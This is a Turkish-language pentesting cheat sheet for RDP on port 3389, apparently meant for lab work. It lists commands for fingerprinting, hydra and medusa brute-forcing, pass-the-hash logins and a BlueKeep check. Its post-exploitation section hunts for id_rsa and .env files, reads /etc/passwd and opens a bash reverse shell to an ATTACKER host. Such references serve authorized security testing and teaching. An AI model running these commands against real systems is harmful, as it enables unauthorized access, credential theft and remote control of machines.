Skip to content

3389 - Pentesting RDP

RDP windows

RDP giriş yüzeyi; NLA durumu, brute, PTH ve tarihi RCE (BlueKeep) test edilir. Hedef lab IP’si üzerinde komutları 3389 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 3389 fingerprint.

  2. NLA/credSSP.

  3. Brute/PTH.

  4. CVE.

Terminal window
nmap -Pn -sV -p3389 TARGET
Terminal window
nmap -Pn -p3389 --script rdp-enum-encryption,rdp-ntlm-info TARGET
Terminal window
rdesktop TARGET
Terminal window
nxc rdp TARGET -u user -p pass
Terminal window
xfreerdp /u:user /p:pass /v:TARGET /cert:ignore
Terminal window
hydra -L users.txt -P pass.txt rdp://TARGET
Terminal window
xfreerdp /u:user /pth:NTHASH /v:TARGET
Terminal window
msfconsole -q -x 'use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS TARGET; run'

RDP için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p3389 TARGET
Terminal window
nmap -Pn -p3389 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3389' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',3389));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → RDP
Terminal window
hydra -L users.txt -P rockyou.txt -s 3389 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3389
Terminal window
nmap -p3389 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit RDP
Terminal window
msfconsole -q -x 'search RDP; exit'
Terminal window
nuclei -u https://TARGET:3389 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:3389 -tags tech -silent || true
Terminal window
nc -nv TARGET 3389
Terminal window
printf '
' | timeout 3 nc -nv TARGET 3389
Terminal window
curl -vk --http1.0 http://TARGET:3389/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
rdp-info → creds/PTH/CVE → desktop shell